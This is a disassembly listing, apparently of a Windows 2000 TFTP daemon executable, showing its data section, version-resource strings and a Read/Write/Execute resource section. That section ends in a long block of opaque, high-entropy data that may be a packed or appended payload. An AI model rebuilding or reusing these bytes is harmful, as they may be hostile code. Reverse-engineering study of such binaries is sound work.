align 10h
off_1005CB0 dd offset aTftpd ; DATA XREF: sub_1001570:loc_1001646o
; "Tftpd"
dd offset sub_1001665
align 10h
off_1005CC0 dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r
; "Error undefined"
dd offset aFileNotFound ; "File not found"
dd offset aAccessViolatio ; "Access violation"
dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded"
dd offset aIllegalTftpOpe ; "Illegal TFTP operation"
dd offset aUnknownTransfe ; "Unknown transfer ID"
dd offset aFileAlreadyExi ; "File already exists"
dd offset aNoSuchUser ; "No such user"
dd offset aOptionNegotiat ; "Option negotiation failure"
align 8
dword_1005CE8 dd 2Ah, 0Dh dup(0) ; sub_10037BF+87o
dword_1005D20 dd 2Ah, 0Dh dup(0) ; sub_100333A+163o ...
dword_1005D58 dd 2Ah, 0Dh dup(0) ; sub_10037BF+EAo
dword_1005D90 dd 2Ah, 0Ch dup(0) ; sub_10037BF+11Ao
dd 1, 2 dup(0)
dword_1005DD0 dd 0 ; sub_1001E73:loc_1001F36r ...
dword_1005DD4 dd 0 dword_1005DD8 dd 0 ; sub_1001665:loc_100182Er ...
dword_1005DDC dd 0 ; sub_1001665+8Br ...
dword_1005DE0 dd 0 ; sub_1001E73:loc_1001F0Cr ...
align 8
dword_1005DE8 dd 0 ; sub_1001A91+2B3o
dword_1005DEC dd 0 ; sub_1001A1F+52r ...
dword_1005DF0 dd 0 ; sub_1001A1F+5Ew ...
dword_1005DF4 dd 0 ; sub_1001A91+59w ...
dword_1005DF8 dd 0 ; sub_10018DB+EFr
dword_1005DFC dd 0 dword_1005E00 dd 0 ; sub_1002219+D5o
db 3 dup(0)
dword_1005E07 dd 0 ; sub_1003910+6Br ...
align 4
dd 7Ch dup(0)
dword_1005FFC dd 0 dword_1006000 dd 0 dd 7 dup(0)
dword_1006020 dd 6 dup(0) ; .text:01001D78o ...
dword_1006038 dd 0 ; sub_10018DB+34w ...
dword_100603C dd 0 dword_1006040 dd 0 ; sub_1001DEB:loc_1001E35r
dword_1006044 dd 0 ; sub_1001665+DBr ...
dword_1006048 dd 6 dup(0) dword_1006060 dd 6 dup(0) ; sub_1001A1F+2o ...
dword_1006078 dd 0 ; sub_10019F0+Fw ...
dword_100607C dd 0 dword_1006080 dd 6 dup(0) ; sub_100287F+1o ...
dword_1006098 dd 0 ; sub_10018DB+25w ...
dword_100609C dd 0 dword_10060A0 dd 0 ; sub_10018DB+A2r ...
dd 7 dup(0)
dword_10060C0 dd 0 ; sub_1001665:loc_1001857o
dword_10060C4 dd 0 dword_10060C8 dd 0 dword_10060CC dd 0 dd 0Ch dup(0)
dword_1006100 dd 4 dup(0) ; sub_1002219:loc_10022E9o
dword_1006110 dd 0 align 10h
dword_1006120 dd 0 ; sub_1001665+63o ...
dword_1006124 dd 0 ; sub_1001665+D1w ...
dword_1006128 dd 0 ; sub_1001665+E1w
dword_100612C dd 0 ; sub_1001E73+5Aw ...
dword_1006130 dd 0 ; sub_1001E73+60w ...
dword_1006134 dd 0 ; sub_1001665+EBw ...
dword_1006138 dd 0 ; sub_1001665+F1w ...
align 10h
dword_1006140 dd 67h dup(0) align 200h
_data ends
; Section 3. (virtual address 00007000)
; Virtual size : 0000F800 ( 63488.)
; Section size in file : 0000F800 ( 63488.)
; Offset to raw data for section: 00007000
; Flags F0000060: Text Data Shareable Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_rsrc segment para public 'CODE' use32
assume cs:_rsrc
;org 1007000h
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
dd 3 dup(0)
dd 10000h, 10h, 80000018h, 3 dup(0)
dd 10000h, 1, 80000030h, 3 dup(0)
dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0)
dd 340374h, 560000h, 5F0053h, 450056h, 530052h, 4F0049h
dd 5F004Eh, 4E0049h, 4F0046h, 0
dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h
dd 3Fh, 0
dd 40004h, 1, 3 dup(0)
dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
dd 66006Eh, 6Fh, 2B0h, 300001h, 300034h, 300039h, 420034h
dd 30h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
dd 65006Dh, 0
aMicrosoftCorpo:
unicode 0, <Microsoft Corporation>,0
aR:
unicode 0, <r%>
dd 460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h
dd 690074h, 6E006Fh, 0
aTcpIpTrivialFi:
unicode 0, <TCP/IP Trivial file transfer daemon.>,0
align 4
a8 db '8',0
dw 0Ch
dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh
dd 0
a5_00_2134_1:
unicode 0, <5.00.2134.1>,0
a4_0:
unicode 0, <4>
dw 0Ah
dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h
dd 65h, 660074h, 700074h, 2E0064h, 780065h, 65h, 280074h
dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h, 690072h
dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h
dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh, 66006Fh
dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h, 310038h
dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h
dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h, 65h, 660074h
dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h
dd 750064h, 740063h, 61004Eh, 65006Dh, 0
aMicrosoftRWind:
unicode 0, <Microsoft(R) Windows (R) 2000 Operating System>,0
align 4
db '<',0
dw 0Ch
dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h
dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h
dd 31h, 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h
dd 6F0066h, 0
dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
dd 6E006Fh, 0
dd 4B00409h, 50Bh dup(0)
dd 616047EEh, 69EF6362h, 94E85E8Ah, 6D6C6B8Eh, 0FAF06F6Eh
dd 759D1F0Ah, 9DD40276h, 79A9EF7Eh, 313008D7h, 0E8483ABh
dd 89B13B3Eh, 0BC440B8Ah, 79908FB2h, 2D97A007h, 9998BBC6h
dd 9C9EF625h, 2CA88AD1h, 0A5C8D43Ah, 4DBA6A6h, 192D40FFh
dd 0FE66B3D2h, 9835B3B2h, 0B8B7A7B6h, 0CDC2A83Bh, 3D4BBFFEh
dd 7A51C7E6h, 0C908FB02h, 0CDCC7C83h, 5274C2CEh, 3D28214Dh
dd 0E64D4A3Fh, 6A181E65h, 6246F7E2h, 5929331Ah, 0E9D368EEh
dd 62ECEBEBh, 69407AD0h, 677FC6F5h, 11428216h, 0AA4DEEFDh
dd 7981C201h, 6A4B0301h, 8A237C7Ah, 7F5C0E82h, 2385727Dh
dd 561B8B93h, 8E8A7B7Ah, 28949C23h, 21939283h, 0FC062896h
dd 52EB847Fh, 9FB74F36h, 24338852h, 8338EA41h, 3C54B1C1h
dd 0C470C635h, 4D283241h, 88444342h, 0AEBBB6B2h, 0B1BAAC92h
dd 0A450B4BAh, 0DADD2951h, 59988C92h, 5D5C6842h, 0C6D2A25Eh
dd 0AAC9D7C3h, 0DDD6CCDCh, 6CBF6BABh, 0B1F5F844h, 5D74B3A7h
dd 79787783h, 0C9F0E0C1h, 0C6F4F2DFh, 0F7F3F5F4h, 5F87DA86h
dd 0C2D01013h, 1788FCEh, 1A949392h, 0E9B90B56h, 0D2E03099h
dd 61259FDEh, 2A31B317h, 0A9E8B878h, 95ABFB34h, 0B1B0AF1Ch
dd 4AB32F9Dh, 0B9F8ECF2h, 0F1ED40B1h, 0C1C0BFFEh, 0E33843C2h
dd 0FDFD7C53h, 4957CB0Ah, 7674D3F2h, 0E86705Dh, 8E63D716h
dd 0DD1C1490h, 1A9A9C69h, 0A841E322h, 53E85140h, 57EC55EAh
dd 0F1F157EEh, 0B97FF3F6h, 6348F760h, 0FCC08606h, 605455E0h
dd 38040335h, 8E2EFCFh, 0A2990A09h, 115020AFh, 65656464h
dd 4E58AC15h, 0E19F1B5Ah, 13AAE23Eh, 254682DBh, 69385726h
dd 260E012Ch, 0A21999F1h, 0B186F0F0h, 0D9570A1Ch, 99EF3D5h
dd 0A2C244F3h, 0DCF68BE0h, 0CDB60849h, 5317F678h, 0ECDA4025h
dd 51BFE94Dh, 0E80FA7Ch, 2B8C9280h, 16A96114h, 812F59EDh
dd 0BCDC392Ch, 2CADC812h, 4E5BEFC4h, 311BD37Dh, 9807D4DCh
dd 0FC5EB395h, 2DB72CFDh, 0B2B60BEDh, 0D00C1F9Eh, 0A069A338h
dd 65AFE351h, 0B8CE3C90h, 7D462B3Fh, 684553E8h, 0D82AA980h
dd 711603FFh, 0AA3B5FECh, 0D92E1868h, 85B37DACh, 38C675F0h
dd 1D474F29h, 805E3848h, 4CB41070h, 6E03A2E3h, 8DE2A74Ch
dd 0E587426Fh, 667A0FAAh, 0D116BB65h, 0C047F4FCh, 0DC7E53B6h
dd 1888FEB1h, 855D8BD4h, 0AD911F92h, 7EC34021h, 98DAAFFAh
dd 6A629607h, 0DCBCB727h, 4C862A0Ch, 0C8A20B4h, 0E10B9BCDh
dd 6D26FA0Ch, 7599E335h, 7CE54D02h, 6BE6157Bh, 0F9928FBDh
dd 0A9665368h, 0ECEA8014h, 0C16B7B2Dh, 0B4025C6Ch, 680894h
dd 0B59A9997h, 0AD46DB88h, 1EF2711Ch, 0E3712FA0h, 0B6A22F75h
dd 28F68C20h, 0CDB7E759h, 0B9543B78h, 0D2A58F25h, 11663080h
dd 0BD52EC24h, 4F522C28h, 15807EE7h, 9B5CCEA9h, 21773632h
dd 0B4AE03C5h, 5AD9B255h, 71469040h, 0C3656DCh, 2199026Ah
dd 750A9F2Eh, 55FA1F92h, 5AADF7D0h, 794EB8B0h, 14E90469h
dd 8A75FB50h, 6A4244C1h, 242F53A8h, 0D72C2703h, 695AB40h
dd 2D022C64h, 0DCF20298h, 1045AE16h, 0F1DB2F6Dh, 0DE82669Ch
dd 0BCB338BBh, 0B2415F34h, 0E1B640F8h, 1423473Fh, 0F9FD4575h
dd 9DFF9AA4h, 18267B1Dh, 0BA4D682Ch, 0E9BEE601h, 62764CDBh
dd 3AF56B40h, 7483281Fh, 0D95D19D5h, 9A085704h, 3613CA33h
dd 9D72DD1Eh, 4984B27Fh, 8575F83Eh, 0A4D74E5Ch, 0C6E13772h
dd 938E7D03h, 1CAF5C5Ch, 9AE63BFDh, 0FD9227D0h, 0A5CB87DFh
dd 0EC55BDD9h, 76FD9183h, 0AD422468h, 0B4D08318h, 0B09E7649h
dd 4FF27F3Eh, 8779E983h, 0E2E8CBC8h, 0F9C1DF74h, 1D7D8BF6h
dd 0D7A3732h, 5356E378h, 0CF4860E4h, 7E010BC2h, 0BD12FC1Ch
dd 0A9C216F0h, 15838D7Ch, 9B8A6680h, 0D7BE222Ch, 33AE1D98h
dd 0C5F04182h, 716F5948h, 6EB231DCh, 302E02DEh, 353F43A1h
dd 9EEF1AE0h, 0ECE6067Fh, 0EE0972DDh, 65CA4F71h, 0CB3A6490h
dd 0A489A73Ch, 0FE3FB857h, 0D52A0F94h, 6DE230B5h, 0D8D57ACh
dd 0E1CE780Dh, 0DCE8AF84h, 0F1DBE75Dh, 0DD646F9Ch, 60EAB348h
dd 0C53F8A17h, 2F9FFD50h, 6C0763B5h, 0CD2F9915h, 0E5BBF471h
dd 0C99BEA00h, 0C6D2A7E9h, 29734F25h, 0BFFE8F54h, 88F1C520h
dd 2D97C339h, 0E06E4858h, 2F6CAE51h, 6CB871AEh, 0EF33B1A8h
dd 49DE64E0h, 0B1EF72B4h, 4BAD3Dh, 3BBB095Ch, 98F37FD1h
dd 7C8CCF41h, 91FB377Dh, 0CBD6B2BCh, 0F78E0932h, 57FBEBFh
dd 84966BCDh, 0A475C7A8h, 99238FA5h, 0EF9A99C4h, 41BB8A6Eh
dd 0D6F24709h, 99E34E0h, 3E2BCADFh, 902AAF14h, 3A3EACBFh
dd 0E77DE3B8h, 73E634A3h, 3DA63B90h, 2DC7C6C7h, 0E6FED355h
dd 5376F314h, 935AD9FFh, 8956368Eh, 33AE1DD0h, 6DEFEEAAh
dd 0EE06DBFDh, 0B05E1B1Ch, 0C962C060h, 0E6C39234h, 9E8F7B3Fh
dd 0CD22CDC0h, 0BA8FBB65h, 25BA5C86h, 0FF16CF40h, 50C2D78Dh
dd 56E6C84Bh, 95EFFF54h, 0C8211F69h, 0B4BA3BD8h, 19A00F15h
dd 0DA769744h, 38F50A73h, 1D472329h, 0AB6CE48h, 35CB47B0h
dd 4E11E2A0h, 8DE28C80h, 60C54891h, 0E5B39CF7h, 91DE83F8h
dd 3DD290BEh, 0E97E1085h, 952ABF55h, 41D66B00h, 0ED8217ACh
dd 40FD7929h, 5CFB771h, 45BF76B0h, 584707D8h, 0D1D91E6h
dd 92F940F2h, 0FE63AC12h, 37C04668h, 0AC0286D5h, 0B729A618h
dd 63CF51B3h, 0A1927CE8h, 0FD6CE757h, 98EA2DB1h, 0CD37900Eh
dd 119B1D49h, 9CEE44B5h, 0D13B9412h, 45AF218Dh, 8D1354B9h
dd 0E848CC38h, 4789DFB5h, 0BE0A6CFDh, 0F07DC91Ch, 7ABD3695h
dd 0C2285224h, 438BEF71h, 69ED5499h, 0DB26C705h, 158EE071h
dd 0A2FB5DBFh, 0D536BC18h, 358F2886h, 0A2083284h, 1D6BCF51h
dd 45CE367Fh, 0FC0E8FE5h, 1664F202h, 78DE3EB0h, 0C527F7F8h
dd 1162F751h, 81DB34B2h, 0E54FC190h, 22ABDB59h, 7CE987C5h
dd 0F25EB22Dh, 56BFFF95h, 8A0557C9h, 0ED57C944h, 51CEF0A1h
dd 0BE2474FEh, 1E81EC48h, 75C37A48h, 0D226882Eh, 3E8CE44Fh
dd 79077E4Ch, 0D63ABC32h, 4297F850h, 9D0B8250h, 0EA76D641h
dd 4AC6387Ch, 0B20663F6h, 1E996B41h, 52E74B98h, 0AD178908h
dd 2A7BBD61h, 0B0865CCDh, 0BA669BF9h, 2AAE035Dh, 0F5CB47C0h
dd 0CF4AB01Bh, 36B10969h, 0B88E81CBh, 28CC341h, 68CF2E9Eh
dd 0BE1A6CDEh, 0A690F68h, 77C34BB0h, 0CA248C0Eh, 0E7FD72Dh
dd 76D739C8h, 0C33C7E0Fh, 0B1ABF789h, 831757DFh, 0E64ACC02h
dd 45BA00B9h, 0A21969F9h, 0EA7206CCh, 50BC138Ah, 0B8297403h
dd 28740BD0h, 70E14C9Bh, 0C2406557h, 159EF262h, 0A4015DB0h
dd 0A051AA09h, 419301C6h, 0A229EFD0h, 56FE13Ch, 49C60879h
dd 0B6FC8CF6h, 3679C440h, 6DDB1EE0h, 0AA3EA0C6h, 167BFC84h
dd 82D622E4h, 466AB2Dh, 1AA6FA75h, 7EE787BDh, 1345D331h
dd 2DBB0799h, 2D2784D5h, 0FA5BE165h, 62B30594h, 0EF289AFBh
dd 0DD97F345h, 75CC4C92h, 0F6268001h, 44A1E774h, 76F06E4Ch
dd 0D210C824h, 2B7AF488h, 0AB0A7CDCh, 0D66BA29h, 42B02C96h
dd 0B20D64F8h, 1C81BF4Fh, 33824589h, 0B61C8604h, 37FE365h
dd 0F1EB37C9h, 0CF719B1Eh, 26921465h, 98E551E4h, 0A145BE3Dh
dd 3FA10B4Eh, 960284D5h, 855C114h, 8EB52EADh, 0A94C27F4h
dd 0A63E527h, 72B924A0h, 0D83F9F1Fh, 197CD74Eh, 0A7DE64CDh
dd 0CC4D942Dh, 54AB2E8Ah, 830D70C8h, 0C052F1C8h, 73A40484h
dd 611B67F9h, 0FD5DCB0Eh, 6B9E4195h, 0B81F7207h, 2C910F5Fh
dd 83525599h, 0C02CC314h
dd 2189E460h, 8DE444AAh, 0B25EB819h, 4B992075h, 9114EFDDh
dd 0FD6FCD5Bh, 4FCBFD79h, 9DFF88F4h, 1C67C479h, 53B634AEh
dd 0B317A3F8h, 15790651h, 77EE22C1h, 0FD499929h, 30ACE85Fh
dd 9BF286C1h, 0D54DAD3Dh, 34D7FE6Bh, 991078D8h, 0FC6ED345h
dd 62C91EA8h, 0CC257AFFh, 72DB39h, 66C8519Bh, 0D4CA9313h
dd 389EFF7Dh, 86004BBBh, 0D63BC40Ah, 489F01A4h, 0AEF5BBDAh
dd 0F0D2CB1Eh, 46A5367Bh, 0BBE3BFE0h, 1764D04Ch, 51C12B89h
dd 0D11396EBh, 297EDD65h, 87CF1BCDh, 0C340AC08h, 26A10765h
dd 9BE562C0h, 0ED55B032h, 39911B69h, 0F9F377D9h, 26EBD2Dh
dd 5DCB199Eh, 0A33777FFh, 0FF87D329h, 7BD824A0h, 0D1619F1Dh
dd 1F770549h, 92EE44ACh, 0D73FA326h, 639A0082h, 9B1668B9h
dd 943CF21h, 769C23B5h, 73C544D0h, 0D15EFBEEh, 58B31578h
dd 0B8157BE3h, 1A8BF66Dh, 5CF7197Ch, 0BF23A3DBh, 5293E49Bh
dd 73562CC8h, 0DA33BE09h, 67A71575h, 0A20F5BE5h, 7147C36Dh
dd 70D52CAAh, 0AA3087E5h, 326FD458h, 0A4B60CA8h, 1579FC75h
dd 790EFB89h, 6937B7E4h, 0D14CFE6Ch, 4DC3AC62h, 0A4C36DB7h
dd 81E1CFD8h, 41BCFF70h, 24F189BDh, 19A35325h, 895E3244h
dd 0FE9AF073h, 99F1075Ch, 0FEF1F640h, 0F5DFD071h, 11113EA0h
dd 93F8B7B2h, 2672D89Bh, 0A5FF0F64h, 91963F43h, 0E58267FCh
dd 0E97E2CDAh, 950013DBh, 17C2777h, 0FD821794h, 0EB2C9D58h
dd 8B726F6Ah, 8B861BC9h, 0ED61785Ch, 7602E8EBh, 0AED51FF4h
dd 0AE1260A3h, 0C467774Ch, 6E154FE4h, 0A57AE4ECh, 0BE73772Fh
dd 0FD5217BCh, 0FC918467h, 0D261D127h, 156606Ch, 0D0B666F1h
dd 0A5568318h, 90C52E97h, 715B73EDh, 0FE6D141Ch, 619E33E7h
dd 0CC359EB3h, 6EAE1097h, 941F370Ch, 0B94E0610h, 3CA5C18Ch
dd 0B52BB6D3h, 3A522769h, 0DE05A768h, 15C97457h, 853C380h
dd 2C79369Fh, 0B183869Bh, 0C55AEF84h, 5DF31C55h, 10B207F2h
dd 5FE37041h, 260ADF29h, 51E71C8Ch, 5AADA8DDh, 794EB84Ch
dd 0FC9E535Fh, 117BE7FDh, 7950E43Ch, 296688E8h, 0A6AFF94h
dd 6BD588C1h, 241857ACh, 0E378780Dh, 37EAAF84h, 31EA3BA5h
dd 99F10782h, 661593Ch, 350A7920h, 5E392BD5h, 8DE2B196h
dd 39F463D4h, 0E6905259h, 6481BCE6h, 74D6BAAFh, 553E98B5h
dd 95216764h, 715D6B00h, 21B21A83h, 0A31C58CDh, 0DF516F44h
dd 0F1861CA4h, 9E2A51E3h, 0B1DD7308h, 80EAEA9Bh, 2983E97h
dd 0AFA57C78h, 7C4CFE65h, 308DDE9Fh, 56D4E3Ch, 0BD285B0Ch
dd 90640539h, 225A1427h, 3D152B00h, 19B76270h, 34EE4305h
dd 4B0B26Fh, 0B1ACE22Bh, 0AC6B8744h, 134476C7h, 0B54387ACh
dd 0A3838B20h, 56ECA12Dh, 520DB3A5h, 0A5EC5591h, 92A40D0h
dd 4ACB2984h, 693E69E2h, 42E961DFh, 0C156EB58h, 5283D42Ch
dd 196E2ED1h, 0D3108C0Bh, 0F5859B70h, 24B24FB8h, 0C95E3C04h
dd 7DE62034h, 4DB64BDEh, 0CD63FBF4h, 9A37238h, 0B0BA0FF1h
dd 0ADEA7894h, 7D12A838h, 1BE6DB8h, 0D56AFF90h, 81CAFD6Ah
dd 0B137F6B7h, 0CC6EC385h, 81AD3C0Dh, 0E2C65BF1h, 2E70F16Dh
dd 89C6B49Eh, 0E70A5FF4h, 0EEB2A0E3h, 0A94B78Ch, 925B7A2h
dd 0E67EF750h, 18D9BB50h, 3FB28B68h, 763913A8h, 95EAB53Ch
dd 0D16F029h, 3D76BAB6h, 9914F7CFh, 0F3ADC032h, 0BE52B033h
dd 1A5BC71Ch, 172E08C8h, 0C2B6B447h, 0D0C3CB20h, 37952948h
dd 881B4BF4h, 0A53AD060h, 6B266E67h, 68A160CCh, 0F98E0338h
dd 87BA4FC4h, 0E3AC083h, 69C3D72Ch, 59EE8510h, 0D7EA397h
dd 7F3E70F3h, 142187DCh, 0C9901B55h, 0B1083C74h, 5BD00B20h
dd 98643839h, 796367EDh, 0EA03F224h, 51963B3Dh, 8B83EA7Ch
dd 2982458Bh, 16B5C7D7h, 3D61EB80h, 6D02983Ch, 46E45158h
dd 0DBDA3574h, 728A9A30h, 9DB247DDh, 3A13D3AAh, 2534206Eh
dd 6EF90999h, 0B9D82CAh, 5459A472h, 25D02026h, 5815D141h
dd 3DE497C9h, 0EAB57CE8h, 0D5B58497h, 0FEA3AB40h, 2D02548Ah
dd 0CD56032Eh, 351AAF44h, 213B0A1Fh, 0D272C786h, 891EB33Ch
dd 3575E4F7h, 721F0BA0h, 0E22B74Ch, 0F21C93DAh, 82FF1E4Eh
dd 1426BB50h, 312E6FB6h, 7202129Dh, 692ABF54h, 0D5E5E020h
dd 6A7DF1E0h, 992EC3CCh, 65BA7CA9h, 0D2A3FB90h, 0CA46ACF7h
dd 69DACF6Bh, 8B0B5BC1h, 0ED5EEBA3h, 0CEB30C78h, 0E3FE26DAh
dd 0D6FFE87h, 5141424Ah, 0DD838BFh, 983ED383h, 0C2555132h
dd 1566044h, 0FD72979Bh, 525633E8h, 0C19A2FC4h, 45B01283h
dd 5D1668BFh, 377EA8ABh, 0F5CFDFB4h, 1AC5C1ECh, 3B58BC55h
dd 519FE3B8h, 0E5FA9124h, 41580C81h, 0AB365C2Fh, 0F68B93E8h
dd 156A5AD3h, 6D9F1EB0h, 0BE30C7FDh, 2D4392A9h, 445A2F91h
dd 0DEE17F2Ch, 1DF25CD0h, 3EDE3670h, 754AB43Fh, 5475B4E1h
dd 9C16BDCFh, 3D53D579h, 77D938A9h, 0EF51AE23h, 26C5E368h
dd 98E977BAh, 0E229DB23h, 57BB1D8Eh, 9F278DD8h, 0EF59DC47h
dd 55C2F478h, 0CE147A04h, 0FEA6074Ah, 75C35AB6h, 0C1398E3Ch
dd 0A8760DA0h, 8D22563Ch, 0D03CB3F9h, 0B97F87Ch, 0B0056DE9h
dd 0F573D31Dh, 3DAEF191h, 0D8E38D54h, 13838B37h, 5FD12BA2h
dd 0E63494FEh, 65A8B433h, 0C1940BB9h, 7D03D749h, 69C8531Ah
dd 0BCC00C8Ah, 0BF168919h, 39B02076h, 11E31DE5h, 0A53ACF64h
dd 9D53FCB5h, 3B9267D1h, 0E953EAE5h, 0C2557F14h, 156602Ch
dd 192D7FADh, 0D4085DFCh, 0C58F7F51h, 75F22470h, 7BC85CFEh
dd 0ED90149h, 0AC7C281h, 6136C1E0h, 0DCA0CD53h, 2EF349D5h
dd 0A5E979A1h, 812BBAD0h, 0F752276Bh, 0DDB4D9A1h, 66117D96h
dd 1CA1CD81h, 1E8724EBh, 69AE03E5h, 0CBF0EFEAh, 3EAA30B3h
dd 5131479Ch, 0B662EBA4h, 750E471Bh, 5FE54BE0h, 5AADF7CBh
dd 794EB8B0h, 0FC66174Ch, 0D1691393h, 3BC1A73Ch, 7C0982A7h
dd 5DFF3E94h, 0D916EB4Dh, 248DF31Dh, 80DDB9B0h, 8897AE17h
dd 49C69BDFh, 0DD7207A3h, 5BE36695h, 0F1E451C3h, 0A876C754h
dd 4D3733D9h, 39D43BF8h, 38AD0FA4h, 0A70F6DE0h, 3D93CD28h
dd 2113A278h, 1E2A7F21h, 1ABBF7Dh, 729326ACh, 0D94623CDh
dd 35FF804h, 0A2865B7Ah, 8A9E3C8Fh, 216D7348h, 0F58A1FB0h
dd 89E380D5h, 0D28B774Ch, 0B9C03F1Dh, 730C3764h, 10C8AA13h
dd 0BD7F8E39h, 2CEE6268h, 95F72871h, 6E232BC0h, 0AD82D487h
dd 5AD437E8h, 0ED682F2Ah, 3146DB6Eh, 4BC2FC4Fh, 49233308h
dd 3A6814AAh, 0A1F35595h, 0B78E9CCh, 0BEB178EDh, 934E8FE4h
dd 43570B80h, 0AB265C2Fh, 505693E8h, 55DC2B41h, 76DBB180h
dd 6D02D764h, 19AE3FF0h, 8C294684h, 4315D66Fh, 61EE0BBEh
dd 4DF30288h, 0E80ADF01h, 21B652B8h, 89F7848Ch, 420EE340h
dd 32660C69h, 2CEFB50h, 0A51D86E6h, 29BE53DCh, 1E24C83Fh
dd 97CAF072h, 2DFEA3A8h, 0C60A78BBh, 0C59FAF84h, 32A9DFE3h
dd 5E1079Ch, 891EB345h, 2D48D479h, 56AF0B60h, 4D34AF01h
dd 67E43BF8h, 7AF98EF7h, 91E6B134h, 7F5676FCh, 6A7E13A9h
dd 952B4F78h, 427EBF00h, 0E48217ADh, 0D9630FE5h, 0B51EF004h
dd 0A1861BB1h, 9D48FBE3h, 4D738256h, 728A5F7Eh, 964B94A0h
dd 4DD1FF74h, 5D23F2B8h, 903A8F71h, 6A83FE2Eh, 0FD9267D1h
dd 26CBAC55h, 55AA9CB9h, 0F90B1AF0h, 2A421796h, 44728258h
dd 909A2FC5h, 0B1CDD7B0h, 0DA6D974Fh, 95E2021h, 8D87642Eh
dd 0BBF78BE0h, 0F7A3E1CCh, 0C5E3B276h, 0E8FA4F2Eh, 8DB16AD8h
dd 0BD52E88Ah, 0C69310B7h
dd 3FAAFFC9h, 8053D70h, 0AD149BB9h, 10EEC8D8h, 0C55AE101h
dd 0EFA31830h, 8EB207F1h, 33DA0B80h, 0E1625EC7h, 47B64BE0h
dd 0F9DB1DB3h, 609D714h, 25FA845Ch, 0B6DA6805h, 7E63A77Ch
dd 1074C040h, 0B12E8AA7h, 79366C30h, 29E69BF3h, 0D47663D9h
dd 3512D380h, 31C66088h, 0CB4C2C9Ch, 0F0F1B3B0h, 0F5FFB361h
dd 0D53A8EA0h, 0AD247E06h, 3E4FD86Dh, 0E5900F64h, 91269CE8h
dd 748199FCh, 29700335h, 71164C54h, 0AEF1C2ECh, 0EDC2EC84h
dd 9366C792h, 0F5DAD944h, 5E616EDBh, 9D72DD6Ch, 0EE6B9907h
dd 0F5CA3C12h, 955ECB36h, 1CE2770Ch, 923F207h, 0BA3A8F6Eh
dd 51E67B04h, 6A0F74E9h, 0A97EA91Ah, 2DA70C99h, 377D2B00h
dd 0FB73D752h, 4D83D2E7h, 889A6FCEh, 88A0DBF8h, 0E27C12ADh
dd 0C990F175h, 0C7474F74h, 0C1E680B2h, 84E84FB4h, 0C8BC441Bh
dd 0B4779883h, 8C0C56D1h, 428C123Fh, 0A9F0D1CDh, 944E72D4h
dd 74AFC64Bh, 9B020C9Fh, 7E2E4398h, 0C51A04CFh, 92CCF31h
dd 1DB21CCCh, 0F6DA686Bh, 0CA8A9F74h, 21F67395h, 0C538B8Ch
dd 392BFCB5h, 25BA4FE4h, 6EB4190h, 7D12E734h, 10788941h
dd 55EF46A7h, 8116EB2Dh, 824257ECh, 0CE6E07D6h, 6BFAFE4Ah
dd 11307A03h, 152ED3Fh, 0AAC359A1h, 0C1EAAED4h, 19BE879h
dd 704266B8h, 0DB33BF15h, 42AEF072h, 712CB831h, 1DB287DCh
dd 56ADF35Bh, 0A70F6CF9h, 1377D220h, 0EDC3C88h, 0B6FCBD4Dh
dd 1174D468h, 84D540C4h, 0C512A000h, 328E0369h, 91E44094h
dd 0F14EB080h, 2EB61A69h, 0D9BA77CAh, 0B5BC333h, 70D014ACh
dd 26F47B2h, 155F0A5Eh, 7BC327B3h, 0D5374B1Bh, 0EA6B750h
dd 6FCFA3C1h, 0EE344F20h, 859AF38Bh, 8F0D6DFCh, 0E24CD9E8h
dd 48AE0D91h, 0B0D64440h, 4776E02Dh, 51A1DD6Dh, 851F8101h
dd 0F18BED71h, 0A1E756B5h, 0C22CB948h, 288EED71h, 98150B83h
dd 8D23BC11h, 32CE1791h, 0AE0E0FD3h, 5127C045h, 50951BA5h
dd 0B5FF8FA8h, 7F078051h, 586A3435h, 0FDA57B88h, 89B09711h
dd 0DD220292h, 0F3DF584Bh, 3DE5D984h, 482FDD45h, 0C50C1383h
dd 61C09496h, 675990B7h, 9B5A3F5Ch, 7FC97096h, 31C65BF0h
dd 0DD72079Ch, 891EB348h, 35CA5FF4h, 0E1760BA0h, 8D22B74Ch
dd 39CE63F8h, 0E57A0FA4h, 9126BB50h, 3DD267FCh, 0E97E13A8h
dd 952ABF54h, 41D66B00h, 0ED8217ACh, 992EC358h, 45DA6F04h
dd 0F1861BB0h, 9D32C75Ch, 49DE7308h, 0F9EA3DFFh, 3F9B4E40h
dd 4DE23745h, 0E234C837h, 0AC3ACF24h, 0C6DA3E5Bh, 6C8D1F0Bh
dd 793DD91Fh, 310E439Bh, 0D3A26DD7h, 0B580B285h, 9B7577C7h
dd 9585AB0h, 7AE870E9h, 0DA6B87DCh, 95EFC5Eh, 0F7C9E41Bh
dd 0C2AFED38h, 95A23B8Ah, 796CBAF5h, 651EF724h, 0F88E3BD0h
dd 4252E77Ch, 0A9DC77A5h, 0DD318D4h, 1D5E7CCh, 64D53928h
dd 59E7C155h, 0FE8DB284h, 53D9182Fh, 2D51479Ch, 409A836Bh
dd 71E22234h, 863FC13Eh, 0CD22D9A8h, 250EADB7h, 28A87AE1h
dd 7F30B1Eh, 53B9DFF0h, 95BE1D67h, 80983E90h, 71A49A3Fh
